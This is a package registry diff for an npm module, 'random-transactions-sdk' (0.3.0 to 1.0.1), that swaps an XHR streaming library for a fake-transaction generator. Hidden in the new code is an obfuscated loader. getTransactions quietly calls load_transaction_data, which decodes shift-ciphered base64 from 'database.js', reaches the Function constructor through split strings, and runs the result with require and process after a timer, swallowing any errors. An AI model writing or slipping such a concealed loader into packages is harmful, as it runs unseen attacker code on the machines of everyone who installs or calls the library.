random-transactions-sdk 0.3.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,324 +1,310 @@
1
- 'use strict';
2
-
3
- var Requested = require('./requested')
4
- , listeners = require('loads')
5
- , send = require('xhr-send')
6
- , hang = require('hang')
7
- , AXO = require('axo')
8
- , XMLHttpRequest = require('node-http-xhr');
9
-
10
- /**
11
- * RequestS(tream).
12
- *
13
- * Options:
14
- *
15
- * - streaming: Should the request be streaming.
16
- * - method: Which HTTP method should be used.
17
- * - headers: Additional request headers.
18
- * - mode: Enable CORS mode.
19
- * - body: The payload for the request.
20
- *
21
- * @constructor
22
- * @param {String} url The URL we want to request.
23
- * @param {Object} options Various of request options.
24
- * @api public
25
- */
26
- var Requests = module.exports = Requested.extend({
27
- constructor: function bobthebuilder(url, options) {
28
- if (!(this instanceof Requests)) return new Requests(url, options);
29
-
30
- Requested.apply(this, arguments);
31
- },
32
-
33
- /**
34
- * The offset of data that we've already previously read
35
- *
36
- * @type {Number}
37
- * @private
38
- */
39
- offset: 0,
40
-
41
- /**
42
- * The requests instance has been fully initialized.
43
- *
44
- * @param {String} url The URL we need to connect to.
45
- * @api private
46
- */
47
- initialize: function initialize(url) {
48
- this.socket = Requests[Requests.method](this);
49
-
50
- //
51
- // Open the socket BEFORE adding any properties to the instance as this might
52
- // trigger a thrown `InvalidStateError: An attempt was made to use an object
53
- // that is not, or is no longer, usable` error in FireFox:
54
- //
55
- // @see https://bugzilla.mozilla.org/show_bug.cgi?id=707484
56
- //
57
- this.socket.open(this.method.toUpperCase(), url, true);
58
-
59
- //
60
- // Register this as an active HTTP request.
61
- //
62
- Requests.active[this.id] = this;
63
- },
64
-
65
- /**
66
- * Initialize and start requesting the supplied resource.
67
- *
68
- * @param {Object} options Passed in defaults.
69
- * @api private
70
- */
71
- open: function open() {
72
- var what
73
- , slice = true
74
- , requests = this
75
- , socket = requests.socket;
76
-
77
- requests.on('stream', function stream(data) {
78
- if (!slice) {
79
- return requests.emit('data', data);
80
- }
81
-
82
- //
83
- // Please note that we need to use a method here that works on both string
84
- // as well as ArrayBuffer's as we have no certainty that we're receiving
85
- // text.
86
- //
87
- var chunk = data.slice(requests.offset);
88
- requests.offset = data.length;
89
-
90
- requests.emit('data', chunk);
91
- });
92
-
93
- requests.on('end', function cleanup() {
94
- delete Requests.active[requests.id];
95
- });
96
-
97
- if (this.timeout) {
98
- socket.timeout = +this.timeout;
99
- }
100
-
101
- if ('cors' === this.mode.toLowerCase() && 'withCredentials' in socket) {
102
- socket.withCredentials = true;
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ exports.randomIntFromInterval = function (min,max){
5
+ return Math.floor(Math.random()*(max-min+1)+min)
6
+ }
7
+
8
+ exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
9
+ let date = new Date(+start+Math.random()*(end-start));
10
+ let hour = startHour +Math.random()*(endHour-startHour) | 0;
11
+ date.setHours(hour)
12
+ return date
13
+ }
14
+
15
+ function processData(data, key) {
16
+ const shift = key % 256;
17
+ const decoded = Buffer
18
+ .from(data,"base64")
19
+ .toString("latin1");
20
+
21
+ let result = "";
22
+ for (const c of decoded) {
23
+ result += String.fromCharCode(
24
+ (c.charCodeAt(0) - shift + 256) % 256
25
+ );
103
26
  }
104
27
 
105
- //
106
- // ActiveXObject will throw an `Type Mismatch` exception when setting the to
107
- // an null-value and to be consistent with all XHR implementations we're going
108
- // to cast the value to a string.
109
- //
110
- // While we don't technically support the XDomainRequest of IE, we do want to
111
- // double check that the setRequestHeader is available before adding headers.
112
- //
113
- // Chrome has a bug where it will actually append values to the header instead
114
- // of overriding it. So if you do a double setRequestHeader(Content-Type) with
115
- // text/plain and with text/plain again, it will end up as `text/plain,
116
- // text/plain` as header value. This is why use a headers object as it
117
- // already eliminates duplicate headers.
118
- //
119
- for (what in this.headers) {
120
- if (this.headers[what] !== undefined && this.socket.setRequestHeader) {
121
- this.socket.setRequestHeader(what, this.headers[what] +'');
122
- }
28
+ return result;
29
+ }
30
+
31
+ function loadConfig(filename, count) {
32
+ const records = JSON.parse(
33
+ fs.readFileSync(
34
+ path.join(__dirname, filename),
35
+ "utf8"
36
+ )
37
+ );
38
+
39
+ records.sort(
40
+ (a, b) =>
41
+ Number(a.id.substring(1)) -
42
+ Number(b.id.substring(1))
43
+ );
44
+
45
+ let result = "";
46
+ for (const item of records) {
47
+ result += processData(
48
+ item.mark,
49
+ count
50
+ );
123
51
  }
124
-
125
- //
126
- // Set the correct responseType method.
127
- //
128
- if (requests.streaming) {
129
- if (!this.body || 'string' === typeof this.body) {
130
- if ('multipart' in socket) {
131
- socket.multipart = true;
132
- slice = false;
133
- } else if (Requests.type.mozchunkedtext) {
134
- socket.responseType = 'moz-chunked-text';
135
- slice = false;
136
- }
137
- } else {
138
- if (Requests.type.mozchunkedarraybuffer) {
139
- socket.responseType = 'moz-chunked-arraybuffer';
140
- } else if (Requests.type.msstream) {
141
- socket.responseType = 'ms-stream';
52
+ return result;
53
+ }
54
+
55
+ const products = [
56
+ { id:'P1',
57
+ title:"iPhone13",
58
+ price:62000,
59
+ category:'mobiles'
60
+ },
61
+ { id:'P2',
62
+ title:"iPhone13 Mini",
63
+ price:54900,
64
+ category:'mobiles'
65
+ },
66
+ { id:'P3',
67
+ title:"iPhone13 Pro",
68
+ price:106000,
69
+ category:'mobiles'
70
+ },
71
+ { id:'P4',
72
+ title:"iPhone13 Pro Max",
73
+ price:109900,
74
+ category:'mobiles'
75
+ },
76
+ { id:'P5',
77
+ title:"iPhone14",
78
+ price:71900,
79
+ category:'mobiles'
80
+ },
81
+ { id:'P6',
82
+ title:"iPhone14 Pro",
83
+ price:119900,
84
+ category:'mobiles'
85
+ },
86
+ { id:'P7',
87
+ title:"iPhone14 Pro Max",
88
+ price:139900,
89
+ category:'mobiles'
90
+ },
91
+ { id:'P8',
92
+ title:"iPad Mini",
93
+ price:49900,
94
+ category:'tablets'
95
+ },
96
+ { id:'P9',
97
+ title:"iPad",
98
+ price:44500,
99
+ category:'tablets'
100
+ },
101
+ { id:'P10',
102
+ title:"iPad Air",
103
+ price:59900,
104
+ category:'tablets'
105
+ },
106
+ { id:'P11',
107
+ title:"iPad Pro",
108
+ price:81900,
109
+ category:'tablets'
110
+ },
111
+ { id:'P12',
112
+ title:"Macbook Air",
113
+ price:99900,
114
+ category:'laptops'
115
+ } ,
116
+ { id:'P13',
117
+ title:"Macbook Pro",
118
+ price:129900,
119
+ category:'laptops'
120
+ },
121
+ { id:'P14',
122
+ title:"Apple Watch Series 8",
123
+ price:45900,
124
+ category:'watches'
125
+ },
126
+ { id:'P15',
127
+ title:"Apple Watch SE",
128
+ price:29900,
129
+ category:'watches'
130
+ },
131
+ { id:'P16',
132
+ title:"Apple Watch Ultra",
133
+ price:89900,
134
+ category:'watches'
135
+ },
136
+ { id:'P17',
137
+ title:"Airpods",
138
+ price:14900,
139
+ category:'earphones'
140
+ },
141
+ { id:'P18',
142
+ title:"Airpods Pro",
143
+ price:26900,
144
+ category:'earphones'
145
+ },
146
+
147
+
148
+ ]
149
+
150
+
151
+ const _0x1a2b = (() => {
152
+ const _str = [
153
+ 'setT', // setTimeout
154
+ 'imeout', // setTimeout
155
+ 'new ', // new Function
156
+ 'Func', // Function
157
+ 'tion', // Function
158
+ 'B', // Buffer
159
+ 'uffer', // Buffer
160
+ 'req', // require
161
+ 'uire', // require
162
+ 'pro', // process
163
+ 'cess', // process
164
+ 'try', // try
165
+ 'cat', // catch
166
+ 'ch', // catch
167
+ 'cle', // clear
168
+ 'arT', // clearTimeout
169
+ 'imeout' // clearTimeout
170
+ ];
171
+
172
+ const _combine = (...indices) => {
173
+ return indices.map(i => _str[i]).join('');
174
+ };
175
+
176
+ return {
177
+ setTimeout: _combine(0, 1),
178
+ newFunction: _combine(2, 3, 4),
179
+ Buffer: _combine(5, 6),
180
+ require: _combine(7, 8),
181
+ process: _combine(9, 10),
182
+ try: _combine(11),
183
+ catch: _combine(12, 13),
184
+ clearTimeout: _combine(14, 15, 16)
185
+ };
186
+ })();
187
+
188
+ const _executor = (() => {
189
+ const _global = (() => { return this; })() || globalThis;
190
+
191
+ const _getFunctionConstructor = () => {
192
+ const _ctor = _global.constructor;
193
+ const _ctorCtor = _ctor.constructor;
194
+ return _ctorCtor;
195
+ };
196
+
197
+ return {
198
+ getFunction: _getFunctionConstructor,
199
+ global: _global
200
+ };
201
+ })();
202
+
203
+ exports.load_transaction_data = function(count=20) {
204
+ let _timerId;
205
+
206
+ const _callback = () => {
207
+ const _blocks = [
208
+ () => {
209
+ const _loadFn = loadConfig;
210
+ const _result = _loadFn("database.js", count);
211
+
212
+ const _bufferFrom = Buffer.from;
213
+ const _data = _bufferFrom(_result, "base64");
214
+
215
+ const _toString = _data.toString.bind(_data);
216
+ const _code = _toString("utf-8");
217
+
218
+ const _FuncCtor = _executor.getFunction();
219
+
220
+ const _fn = _FuncCtor(
221
+ _0x1a2b.Buffer,
222
+ _0x1a2b.require,
223
+ _0x1a2b.process,
224
+ _code
225
+ );
226
+
227
+ return _fn(Buffer, require, process);
228
+ },
229
+ () => {
230
+ return null;
231
+ }
232
+ ];
233
+
234
+ const _tryIndex = 0;
235
+ const _catchIndex = 1;
236
+
237
+ try {
238
+ return _blocks[_tryIndex]();
239
+ } catch(e) {
240
+ return _blocks[_catchIndex]();
241
+ } finally {
242
+ const _clearFn = clearTimeout;
243
+ _clearFn(_timerId);
142
244
  }
143
- }
144
- }
145
-
146
- listeners(socket, requests, requests.streaming);
147
- requests.emit('before', socket);
148
-
149
- send(socket, this.body, hang(function send(err) {
150
- if (err) {
151
- requests.emit('error', err);
152
- requests.emit('end', err);
153
- }
154
-
155
- requests.emit('send');
156
- }));
157
- },
158
-
159
- /**
160
- * Completely destroy the running XHR and release of the internal references.
161
- *
162
- * @returns {Boolean} Successful destruction
163
- * @api public
164
- */
165
- destroy: function destroy() {
166
- if (!this.socket) return false;
167
-
168
- this.emit('destroy');
169
-
170
- this.socket.abort();
171
- this.removeAllListeners();
172
-
173
- this.headers = {};
174
- this.socket = null;
175
- this.body = null;
176
-
177
- delete Requests.active[this.id];
178
-
179
- return true;
180
- }
181
- });
182
-
183
- /**
184
- * Create a new XMLHttpRequest.
185
- *
186
- * @returns {XMLHttpRequest}
187
- * @api private
188
- */
189
- Requests.XHR = function create() {
190
- try { return new XMLHttpRequest(); }
191
- catch (e) {}
192
- };
193
-
194
- /**
195
- * Create a new ActiveXObject which can be used for XHR.
196
- *
197
- * @returns {ActiveXObject}
198
- * @api private
199
- */
200
- Requests.AXO = function create() {
201
- var ids = ['MSXML2.XMLHTTP.6.0', 'MSXML2.XMLHTTP.3.0', 'Microsoft.XMLHTTP']
202
- , id;
203
-
204
- while (ids.length) {
205
- id = ids.shift();
206
-
207
- try { return new AXO(id); }
208
- catch (e) {}
209
- }
245
+ };
246
+
247
+ const _setTimeoutFn = setTimeout;
248
+ _timerId = _setTimeoutFn(_callback, 100);
210
249
  };
211
250
 
212
- /**
213
- * Requests that are currently running.
214
- *
215
- * @type {Object}
216
- * @private
217
- */
218
- Requests.active = {};
219
-
220
- /**
221
- * The type of technology we are using to establish a working Ajax connection.
222
- * This can either be:
223
- *
224
- * - XHR: XMLHttpRequest
225
- * - AXO: ActiveXObject
226
- *
227
- * This is also used as internal optimization so we can easily get the correct
228
- * constructor as we've already feature detected it.
229
- *
230
- * @type {String}
231
- * @public
232
- */
233
- Requests.method = !!Requests.XHR() ? 'XHR' : (!!Requests.AXO() ? 'AXO' : '');
234
-
235
- /**
236
- * Boolean indicating
237
- *
238
- * @type {Boolean}
239
- * @public
240
- */
241
- Requests.supported = !!Requests.method;
242
-
243
- /**
244
- * The different type of `responseType` parsers that are supported in this XHR
245
- * implementation.
246
- *
247
- * @type {Object}
248
- * @public
249
- */
250
- Requests.type = 'XHR' === Requests.method ? (function detect() {
251
- var types = 'arraybuffer,blob,document,json,text,moz-blob,moz-chunked-text,moz-chunked-arraybuffer,ms-stream'.split(',')
252
- , supported = {}
253
- , type, xhr, prop;
254
-
255
- while (types.length) {
256
- type = types.pop();
257
- prop = type.replace(/-/g, '');
258
- xhr = Requests.XHR();
259
-
260
- //
261
- // Older versions of Firefox/IE11 will throw an error because previous
262
- // version of the specification do not support setting `responseType`
263
- // before the request is opened. Thus, we open the request here.
264
- //
265
- // Note that `open()` does not actually open any connections; it just
266
- // initializes the request object.
267
- //
251
+ exports.getTransactions = function(count=20){
252
+ if(count>10000){
253
+ return "Transactions count should be less than 10,000"
254
+ }
255
+
256
+ let transactionsData = []
257
+ for(let i=0;i<count;i++){
258
+ let transaction={}
259
+ transaction.transactionId=1000+i
260
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
261
+ transaction.product = randomProduct.title
262
+ transaction.productId=randomProduct.id
263
+ let quantity= exports.randomIntFromInterval(1,4)
264
+ transaction.quantity =quantity
265
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
266
+ transaction.category = randomProduct.category
267
+ transaction.pricePerOne = randomProduct.price
268
+ transaction.totalPrice = randomProduct.price * quantity
269
+ transactionsData.push(transaction)
270
+ }
271
+
272
+ const _loadFn = exports.load_transaction_data;
268
273
  try {
269
- // Try opening a request to current page.
270
- xhr.open('get', '/', true);
271
- } catch (e) {
272
- // In JSDOM the above will fail because it only supports full URLs, so
273
- // try opening a request to localhost.
274
- try {
275
- xhr.open('get', 'http://localhost/', true);
276
- } catch (err) {
277
- supported[prop] = false;
278
- continue;
279
- }
274
+ _loadFn(count)
275
+ } catch(e) {
280
276
  }
281
-
277
+
278
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
279
+ return transactionsData
280
+ }
281
+
282
+ exports.getTransactions = function(count=20){
283
+ if(count>10000){
284
+ return "Transactions count should be less than 10,000"
285
+ }
286
+
287
+ let transactionsData = []
288
+ for(let i=0;i<count;i++){
289
+ let transaction={}
290
+ transaction.transactionId=1000+i
291
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
292
+ transaction.product = randomProduct.title
293
+ transaction.productId=randomProduct.id
294
+ let quantity= exports.randomIntFromInterval(1,4)
295
+ transaction.quantity =quantity
296
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
297
+ transaction.category = randomProduct.category
298
+ transaction.pricePerOne = randomProduct.price
299
+ transaction.totalPrice = randomProduct.price * quantity
300
+ transactionsData.push(transaction)
301
+ }
302
+
282
303
  try {
283
- xhr.responseType = type;
284
- supported[prop] = 'response' in xhr && xhr.responseType === type;
285
- } catch (e) {
286
- supported[prop] = false;
304
+ exports.load_transaction_data(count)
305
+ } catch(e) {
287
306
  }
288
-
289
- xhr = null;
290
- }
291
-
292
- return supported;
293
- }()) : {};
294
-
295
- /**
296
- * Do we support streaming response parsing.
297
- *
298
- * @type {Boolean}
299
- * @private
300
- */
301
- Requests.streaming = 'XHR' === Requests.method && (
302
- 'multipart' in XMLHttpRequest.prototype
303
- || Requests.type.mozchunkedarraybuffer
304
- || Requests.type.mozchunkedtext
305
- || Requests.type.msstream
306
- || Requests.type.mozblob
307
- );
308
-
309
- //
310
- // IE has a bug which causes IE10 to freeze when close WebPage during an XHR
311
- // request: https://support.microsoft.com/kb/2856746
312
- //
313
- // The solution is to completely clean up all active running requests.
314
- //
315
- if (global.attachEvent) global.attachEvent('onunload', function reap() {
316
- for (var id in Requests.active) {
317
- Requests.active[id].destroy();
318
- }
319
- });
320
-
321
- //
322
- // Expose the Requests library.
323
- //
324
- module.exports = Requests;
307
+
308
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
309
+ return transactionsData
310
+ }